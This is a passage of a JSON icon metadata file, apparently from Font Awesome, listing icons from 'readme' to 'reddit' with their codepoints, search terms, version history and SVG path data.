1.9v49.8c0 7.9-2.6 11.1-10.1 11.1s-10.1-3.1-10.1-11.1v-49.8a1.69 1.69 0 0 0-1.9-1.9H309a1.81 1.81 0 0 0-2 1.9v51.5c0 9.6 5 14.1 15.1 14.1h.4c10.1 0 15.1-4.6 15.1-14.1v-51.5a2 2 0 0 0-2.2-1.9zM321.7 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm-31.1 7.4l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm5.1-30.8h-19.4v-26.7h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h22.5a1.77 1.77 0 0 0 2-1.9v-.8a1.83 1.83 0 0 0-2-2.06zm-7.4-99.4L286 192l-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1z"
      }
    },
    "free": ["brands"]
  },
  "readme": {
    "changes": ["5.0.9", "5.0.10"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4d5",
    "label": "ReadMe",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528.3 46.5H388.5c-48.1 0-89.9 33.3-100.4 80.3-10.6-47-52.3-80.3-100.4-80.3H48c-26.5 0-48 21.5-48 48v245.8c0 26.5 21.5 48 48 48h89.7c102.2 0 132.7 24.4 147.3 75 .7 2.8 5.2 2.8 6 0 14.7-50.6 45.2-75 147.3-75H528c26.5 0 48-21.5 48-48V94.6c0-26.4-21.3-47.9-47.7-48.1zM242 311.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5V289c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V251zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm259.3 121.7c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5V228c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.8c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V190z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M528.3 46.5H388.5c-48.1 0-89.9 33.3-100.4 80.3-10.6-47-52.3-80.3-100.4-80.3H48c-26.5 0-48 21.5-48 48v245.8c0 26.5 21.5 48 48 48h89.7c102.2 0 132.7 24.4 147.3 75 .7 2.8 5.2 2.8 6 0 14.7-50.6 45.2-75 147.3-75H528c26.5 0 48-21.5 48-48V94.6c0-26.4-21.3-47.9-47.7-48.1zM242 311.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5V289c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V251zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm259.3 121.7c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5V228c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.8c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V190z"
      }
    },
    "free": ["brands"]
  },
  "rebel": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d0",
    "label": "Rebel Alliance",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256.5 504C117.2 504 9 387.8 13.2 249.9 16 170.7 56.4 97.7 129.7 49.5c.3 0 1.9-.6 1.1.8-5.8 5.5-111.3 129.8-14.1 226.4 49.8 49.5 90 2.5 90 2.5 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1l28.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-61.4-21.9-61.4L255.1 8l44.3 50.1c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.3l28.5 31.8c-27.4 8.9-45.4 39.9-45.4 39.9-15.8 28.5-27.1 89.4.6 127.3 32.4 44.6 87.7-2.8 87.7-2.8 102.7-91.9-10.5-225-10.5-225-6.1-5.5.8-2.8.8-2.8 50.1 36.5 114.6 84.4 116.2 204.8C500.9 400.2 399 504 256.5 504z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256.5 504C117.2 504 9 387.8 13.2 249.9 16 170.7 56.4 97.7 129.7 49.5c.3 0 1.9-.6 1.1.8-5.8 5.5-111.3 129.8-14.1 226.4 49.8 49.5 90 2.5 90 2.5 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1l28.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-61.4-21.9-61.4L255.1 8l44.3 50.1c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.3l28.5 31.8c-27.4 8.9-45.4 39.9-45.4 39.9-15.8 28.5-27.1 89.4.6 127.3 32.4 44.6 87.7-2.8 87.7-2.8 102.7-91.9-10.5-225-10.5-225-6.1-5.5.8-2.8.8-2.8 50.1 36.5 114.6 84.4 116.2 204.8C500.9 400.2 399 504 256.5 504z"
      }
    },
    "free": ["brands"]
  },
  "receipt": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9fe"],
        "secondary": ["10f543"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "accounting",
        "bookkeeping",
        "check",
        "evidence",
        "invoice",
        "money",
        "pay",
        "proof",
        "receipt",
        "table"
      ]
    },
    "styles": ["solid"],
    "unicode": "f543",
    "label": "Receipt",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M14 2.2C22.5-1.7 32.5-.3 39.6 5.8L80 40.4 120.4 5.8c9-7.7 22.3-7.7 31.2 0L192 40.4 232.4 5.8c9-7.7 22.3-7.7 31.2 0L304 40.4 344.4 5.8c7.1-6.1 17.1-7.5 25.6-3.6s14 12.4 14 21.8V488c0 9.4-5.5 17.9-14 21.8s-18.5 2.5-25.6-3.6L304 471.6l-40.4 34.6c-9 7.7-22.3 7.7-31.2 0L192 471.6l-40.4 34.6c-9 7.7-22.3 7.7-31.2 0L80 471.6 39.6 506.2c-7.1 6.1-17.1 7.5-25.6 3.6S0 497.4 0 488V24C0 14.6 5.5 6.1 14 2.2zM96 144c-8.8 0-16 7.2-16 16s7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H96zM80 352c0 8.8 7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H96c-8.8 0-16 7.2-16 16zM96 240c-8.8 0-16 7.2-16 16s7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H96z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M14 2.2C22.5-1.7 32.5-.3 39.6 5.8L80 40.4 120.4 5.8c9-7.7 22.3-7.7 31.2 0L192 40.4 232.4 5.8c9-7.7 22.3-7.7 31.2 0L304 40.4 344.4 5.8c7.1-6.1 17.1-7.5 25.6-3.6s14 12.4 14 21.8V488c0 9.4-5.5 17.9-14 21.8s-18.5 2.5-25.6-3.6L304 471.6l-40.4 34.6c-9 7.7-22.3 7.7-31.2 0L192 471.6l-40.4 34.6c-9 7.7-22.3 7.7-31.2 0L80 471.6 39.6 506.2c-7.1 6.1-17.1 7.5-25.6 3.6S0 497.4 0 488V24C0 14.6 5.5 6.1 14 2.2zM96 144c-8.8 0-16 7.2-16 16s7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H96zM80 352c0 8.8 7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H96c-8.8 0-16 7.2-16 16zM96 240c-8.8 0-16 7.2-16 16s7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H96z"
      }
    },
    "free": ["solid"]
  },
  "record-vinyl": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f8d9"]
      }
    },
    "changes": ["5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["LP", "album", "analog", "music", "phonograph", "sound"]
    },
    "styles": ["solid"],
    "unicode": "f8d9",
    "label": "Record Vinyl",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256-96a96 96 0 1 1 0 192 96 96 0 1 1 0-192zm0 224a128 128 0 1 0 0-256 128 128 0 1 0 0 256zm0-96a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256-96a96 96 0 1 1 0 192 96 96 0 1 1 0-192zm0 224a128 128 0 1 0 0-256 128 128 0 1 0 0 256zm0-96a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "rectangle-ad": {
    "aliases": {
      "names": ["ad"],
      "unicodes": {
        "secondary": ["10f641"]
      }
    },
    "changes": [
      "5.3.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["advertisement", "media", "newspaper", "promotion", "publicity"]
    },
    "styles": ["solid"],
    "unicode": "f641",
    "label": "Rectangle Ad",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM229.5 173.3l72 144c5.9 11.9 1.1 26.3-10.7 32.2s-26.3 1.1-32.2-10.7L253.2 328H162.8l-5.4 10.7c-5.9 11.9-20.3 16.7-32.2 10.7s-16.7-20.3-10.7-32.2l72-144c4.1-8.1 12.4-13.3 21.5-13.3s17.4 5.1 21.5 13.3zM208 237.7L186.8 280h42.3L208 237.7zM392 256a24 24 0 1 0 0 48 24 24 0 1 0 0-48zm24-43.9V184c0-13.3 10.7-24 24-24s24 10.7 24 24v96 48c0 13.3-10.7 24-24 24c-6.6 0-12.6-2.7-17-7c-9.4 4.5-19.9 7-31 7c-39.8 0-72-32.2-72-72s32.2-72 72-72c8.4 0 16.5 1.4 24 4.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM229.5 173.3l72 144c5.9 11.9 1.1 26.3-10.7 32.2s-26.3 1.1-32.2-10.7L253.2 328H162.8l-5.4 10.7c-5.9 11.9-20.3 16.7-32.2 10.7s-16.7-20.3-10.7-32.2l72-144c4.1-8.1 12.4-13.3 21.5-13.3s17.4 5.1 21.5 13.3zM208 237.7L186.8 280h42.3L208 237.7zM392 256a24 24 0 1 0 0 48 24 24 0 1 0 0-48zm24-43.9V184c0-13.3 10.7-24 24-24s24 10.7 24 24v96 48c0 13.3-10.7 24-24 24c-6.6 0-12.6-2.7-17-7c-9.4 4.5-19.9 7-31 7c-39.8 0-72-32.2-72-72s32.2-72 72-72c8.4 0 16.5 1.4 24 4.1z"
      }
    },
    "free": ["solid"]
  },
  "rectangle-list": {
    "aliases": {
      "names": ["list-alt"],
      "unicodes": {
        "secondary": ["10f022"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "checklist",
        "completed",
        "done",
        "finished",
        "ol",
        "todo",
        "ul"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f022",
    "label": "Rectangle List",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H512c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM128 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm32-128a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm96-248c-13.3 0-24 10.7-24 24s10.7 24 24 24H448c13.3 0 24-10.7 24-24s-10.7-24-24-24H224zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24H448c13.3 0 24-10.7 24-24s-10.7-24-24-24H224zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24H448c13.3 0 24-10.7 24-24s-10.7-24-24-24H224z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H512c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM128 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm32-128a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm96-248c-13.3 0-24 10.7-24 24s10.7 24 24 24H448c13.3 0 24-10.7 24-24s-10.7-24-24-24H224zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24H448c13.3 0 24-10.7 24-24s-10.7-24-24-24H224zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24H448c13.3 0 24-10.7 24-24s-10.7-24-24-24H224z"
      },
      "regular": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H512c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H512c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm96 64a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm104 0c0-13.3 10.7-24 24-24H448c13.3 0 24 10.7 24 24s-10.7 24-24 24H224c-13.3 0-24-10.7-24-24zm0 96c0-13.3 10.7-24 24-24H448c13.3 0 24 10.7 24 24s-10.7 24-24 24H224c-13.3 0-24-10.7-24-24zm0 96c0-13.3 10.7-24 24-24H448c13.3 0 24 10.7 24 24s-10.7 24-24 24H224c-13.3 0-24-10.7-24-24zm-72-64a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM96 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H512c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H512c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm96 64a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm104 0c0-13.3 10.7-24 24-24H448c13.3 0 24 10.7 24 24s-10.7 24-24 24H224c-13.3 0-24-10.7-24-24zm0 96c0-13.3 10.7-24 24-24H448c13.3 0 24 10.7 24 24s-10.7 24-24 24H224c-13.3 0-24-10.7-24-24zm0 96c0-13.3 10.7-24 24-24H448c13.3 0 24 10.7 24 24s-10.7 24-24 24H224c-13.3 0-24-10.7-24-24zm-72-64a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM96 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "rectangle-xmark": {
    "aliases": {
      "names": ["rectangle-times", "times-rectangle", "window-close"],
      "unicodes": {
        "composite": ["f2d4"],
        "secondary": ["10f410"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["browser", "cancel", "computer", "development"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f410",
    "label": "Rectangle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM175 175c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM175 175c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z"
      },
      "regular": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm175 79c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm175 79c9.4-9.4 24.6-9.4 33.9 0l47 47 47-47c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-47 47 47 47c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-47-47-47 47c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l47-47-47-47c-9.4-9.4-9.4-24.6 0-33.9z"
      }
    },
    "free": ["regular", "solid"]
  },
  "recycle": {
    "aliases": {
      "unicodes": {
        "composite": ["2672", "267a", "267b"],
        "secondary": ["10f1b8"]
      }
    },
    "changes": ["4.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Recycling Symbol For Generic Materials",
        "Universal Recycling Symbol",
        "Waste",
        "compost",
        "garbage",
        "recycle",
        "recycling symbol",
        "reuse",
        "trash"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1b8",
    "label": "Recycle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M174.7 45.1C192.2 17 223 0 256 0s63.8 17 81.3 45.1l38.6 61.7 27-15.6c8.4-4.9 18.9-4.2 26.6 1.7s11.1 15.9 8.6 25.3l-23.4 87.4c-3.4 12.8-16.6 20.4-29.4 17l-87.4-23.4c-9.4-2.5-16.3-10.4-17.6-20s3.4-19.1 11.8-23.9l28.4-16.4L283 79c-5.8-9.3-16-15-27-15s-21.2 5.7-27 15l-17.5 28c-9.2 14.8-28.6 19.5-43.6 10.5c-15.3-9.2-20.2-29.2-10.7-44.4l17.5-28zM429.5 251.9c15-9 34.4-4.3 43.6 10.5l24.4 39.1c9.4 15.1 14.4 32.4 14.6 50.2c.3 53.1-42.7 96.4-95.8 96.4L320 448v32c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-64-64c-9.4-9.4-9.4-24.6 0-33.9l64-64c6.9-6.9 17.2-8.9 26.2-5.2s14.8 12.5 14.8 22.2v32l96.2 0c17.6 0 31.9-14.4 31.8-32c0-5.9-1.7-11.7-4.8-16.7l-24.4-39.1c-9.5-15.2-4.7-35.2 10.7-44.4zm-364.6-31L36 204.2c-8.4-4.9-13.1-14.3-11.8-23.9s8.2-17.5 17.6-20l87.4-23.4c12.8-3.4 26 4.2 29.4 17L182 241.2c2.5 9.4-.9 19.3-8.6 25.3s-18.2 6.6-26.6 1.7l-26.5-15.3L68.8 335.3c-3.1 5-4.8 10.8-4.8 16.7c-.1 17.6 14.2 32 31.8 32l32.2 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-32.2 0C42.7 448-.3 404.8 0 351.6c.1-17.8 5.1-35.1 14.6-50.2l50.3-80.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M174.7 45.1C192.2 17 223 0 256 0s63.8 17 81.3 45.1l38.6 61.7 27-15.6c8.4-4.9 18.9-4.2 26.6 1.7s11.1 15.9 8.6 25.3l-23.4 87.4c-3.4 12.8-16.6 20.4-29.4 17l-87.4-23.4c-9.4-2.5-16.3-10.4-17.6-20s3.4-19.1 11.8-23.9l28.4-16.4L283 79c-5.8-9.3-16-15-27-15s-21.2 5.7-27 15l-17.5 28c-9.2 14.8-28.6 19.5-43.6 10.5c-15.3-9.2-20.2-29.2-10.7-44.4l17.5-28zM429.5 251.9c15-9 34.4-4.3 43.6 10.5l24.4 39.1c9.4 15.1 14.4 32.4 14.6 50.2c.3 53.1-42.7 96.4-95.8 96.4L320 448v32c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-64-64c-9.4-9.4-9.4-24.6 0-33.9l64-64c6.9-6.9 17.2-8.9 26.2-5.2s14.8 12.5 14.8 22.2v32l96.2 0c17.6 0 31.9-14.4 31.8-32c0-5.9-1.7-11.7-4.8-16.7l-24.4-39.1c-9.5-15.2-4.7-35.2 10.7-44.4zm-364.6-31L36 204.2c-8.4-4.9-13.1-14.3-11.8-23.9s8.2-17.5 17.6-20l87.4-23.4c12.8-3.4 26 4.2 29.4 17L182 241.2c2.5 9.4-.9 19.3-8.6 25.3s-18.2 6.6-26.6 1.7l-26.5-15.3L68.8 335.3c-3.1 5-4.8 10.8-4.8 16.7c-.1 17.6 14.2 32 31.8 32l32.2 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-32.2 0C42.7 448-.3 404.8 0 351.6c.1-17.8 5.1-35.1 14.6-50.2l50.3-80.5z"
      }
    },
    "free": ["solid"]
  },
  "red-river": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e3",
    "label": "red river",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M353.2 32H94.8C42.4 32 0 74.4 0 126.8v258.4C0 437.6 42.4 480 94.8 480h258.4c52.4 0 94.8-42.4 94.8-94.8V126.8c0-52.4-42.4-94.8-94.8-94.8zM144.9 200.9v56.3c0 27-21.9 48.9-48.9 48.9V151.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9h-56.3c-12.3-.6-24.6 11.6-24 24zm176.3 72h-56.3c-12.3-.6-24.6 11.6-24 24v56.3c0 27-21.9 48.9-48.9 48.9V247.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M353.2 32H94.8C42.4 32 0 74.4 0 126.8v258.4C0 437.6 42.4 480 94.8 480h258.4c52.4 0 94.8-42.4 94.8-94.8V126.8c0-52.4-42.4-94.8-94.8-94.8zM144.9 200.9v56.3c0 27-21.9 48.9-48.9 48.9V151.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9h-56.3c-12.3-.6-24.6 11.6-24 24zm176.3 72h-56.3c-12.3-.6-24.6 11.6-24 24v56.3c0 27-21.9 48.9-48.9 48.9V247.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9z"
      }
    },
    "free": ["brands"]
  },
  "reddit": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a1",
    "label": "reddit Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 